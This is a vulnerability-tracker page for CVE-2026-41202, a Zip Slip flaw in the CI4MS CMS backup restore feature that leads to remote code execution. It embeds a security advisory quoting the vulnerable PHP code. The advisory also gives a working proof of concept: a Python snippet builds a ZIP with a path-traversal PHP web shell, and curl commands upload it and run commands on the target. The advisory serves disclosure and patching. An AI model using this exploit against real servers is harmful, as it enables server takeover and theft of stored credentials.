CVE-2026-41202
criticalpriority · track · 0EPSS 0.007 · 52 %ileEUUSEPSS · scored 2026-10-27
CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.5.0, ci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root. This issue has been patched in version 0.31.5.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 7.7–9.4
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (2)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-xp9f-pvvc-57p4CI4MS Backup::restore is vulnerable to Zip Slip leading to RCE2026-04-22ghsa · osvUS
### Summary ci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root. ### Details modules/Backup/Controllers/Backup.php:80-119 implements the restore action. The uploaded file is moved to `WRITEPATH . 'uploads/'`, and if the extension is `zip`, ZipArchive::extractTo() is called directly without iterating entries to verify they resolve inside the destination: ```php public function restore() { $valData = ([ 'backup_file' => ['label' => 'Backup File', 'rules' => 'uploaded[backup_file]|ext_in[backup_file,zip]'], ]); if ($this->validate($valData) == false) return redirect()->route('backup')->withInput()->with('errors', $this->validator->getErrors()); $file = $this->request->getFile('backup_file'); if ($file && $file->isValid() && ! $file->hasMoved()) { $newName = $file->getRandomName(); $uploadPath = WRITEPATH . 'uploads/'; ... $filePath = WRITEPATH . 'uploads/' . $newName; $sqlPath = $filePath; if ($ext === 'zip') { $zip = new \ZipArchive(); if ($zip->open($filePath) === true) { $zip->extractTo($uploadPath); // no entry-name validation $sqlPath = $uploadPath . $zip->getNameIndex(0); $zip->close(); @unlink($filePath); } } ... } } ``` A ZIP containing entries like `../../public/shell.php` is extracted outside `writable/uploads/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here. Routing: modules/Backup/Config/Routes.php binds `POST backend/backup/restore` to Backup::restore with `role=create`, and modules/Backup/Config/BackupConfig.php adds `backend/backup` and `backend/backup/*` to `csrfExcept`, so the route accepts cross-site POSTs from an authenticated administrator's browser. ### PoC Build the archive: ```python python3 -c " import zipfile with zipfile.ZipFile('evil.zip','w') as z: z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>') z.writestr('dump.sql', 'SELECT 1;') " ``` Submit it as a backup to restore: ```bash curl -i -b 'ci4ms_session=<SESSION_ID>' \ -F 'backup_file=@evil.zip' \ https://target.example.com/backend/backup/restore ``` Trigger the shell: ```bash curl 'https://target.example.com/shell.php?c=id' # uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Impact Any ci4ms account that can restore a backup can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles. Because the route is in the csrfExcept list, a logged-in administrator who visits a malicious page can be forced to perform the restore cross-site, turning this into drive-by RCE against site operators.
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (6)
External citations — patches, advisories, analysis.
- https://github.com/ci4-cms-erp/ci4ms/releasesPatchcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2026-41202cnnvd
- https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0enisa_euvd
- https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xp9f-pvvc-57p4enisa_euvd
- https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0nvd
- https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xp9f-pvvc-57p4nvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan